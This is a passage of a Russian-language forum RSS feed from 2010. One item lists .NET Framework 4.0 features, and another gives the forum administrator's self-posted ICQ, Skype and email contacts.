LINQ) и Task Parallel Library, предназначенные для упрощения программирования для многопроцессорных и распределённых систем.&lt;br /&gt;Изменения в Visual Basic и C#&lt;br /&gt;Полная поддержка IronPython, IronRuby и F#&lt;br /&gt;Поддержка подмножества .NET Framework и ASP.NET в варианте «Server Core»&lt;br /&gt;Поддержка Code Contracts&lt;br /&gt;Средства моделирования Oslo и язык программирования M, предназначенный для создания предметно-ориентированных языков и моделей&lt;br /&gt;Финальная версия .NET Framework 4.0 была выпущена 12 апреля 2010 г. вместе с финальным релизом Visual Studio 2010.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (dfx)</author>
			<pubDate>Wed, 16 Jun 2010 01:10:37 +0400</pubDate>
			<guid>http://invizhack.youbb.ru/viewtopic.php?pid=3#p3</guid>
		</item>
		<item>
			<title>Связб из администратором.</title>
			<link>http://invizhack.youbb.ru/viewtopic.php?pid=2#p2</link>
			<description>&lt;p&gt;&lt;strong&gt;Ник&lt;/strong&gt; : &lt;strong&gt;InvizHack&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;ICQ&lt;/strong&gt; : &lt;strong&gt;556-823-462 &lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Skype : bogdancooll&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;e_Mail : censored1996@gmail.com&lt;/strong&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (dfx)</author>
			<pubDate>Wed, 16 Jun 2010 00:57:42 +0400</pubDate>
			<guid>http://invizhack.youbb.ru/viewtopic.php?pid=2#p2</guid>
		</item>
	</channel>
</rss>
